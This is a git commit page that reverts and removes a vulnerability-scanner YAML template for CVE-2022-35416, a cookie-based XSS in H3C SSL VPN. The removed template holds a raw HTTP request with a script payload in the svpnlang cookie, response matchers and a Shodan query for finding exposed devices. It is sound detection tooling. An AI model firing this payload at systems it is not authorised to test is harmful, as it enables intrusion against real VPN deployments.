Revert "Create CVE-2022-35416.yaml"

This reverts commit e3d0b39b3c.
patch-1
Prince Chaddha 2022-07-14 16:13:53 +05:30
parent 74c502435e
commit bd14866cce
1 changed files with 0 additions and 39 deletions

View File

@ -1,39 +0,0 @@
id: CVE-2022-35416
info:
name: H3C SSL VPN through 2022-07-10 - Cookie Based XSS
author: 0x240x23elu
severity: low
description: |
H3C SSL VPN through 2022-07-10 allows wnm/login/login.json svpnlang cookie XSS.
reference:
- https://github.com/advisories/GHSA-9x76-78gc-r3m9
- https://github.com/Docker-droid/H3C_SSL_VPN_XSS
- https://nvd.nist.gov/vuln/detail/CVE-2022-35416
metadata:
verified: true
shodan-query: http.html_hash:510586239
tags: cve,cve2022,xss,vpn,h3c
requests:
- raw:
- |
GET /wnm/login/login.json HTTP/1.1
Host: {{Hostname}}
Cookie: svpnlang=<script>alert('document.domain')</script>
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert('document.domain')</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200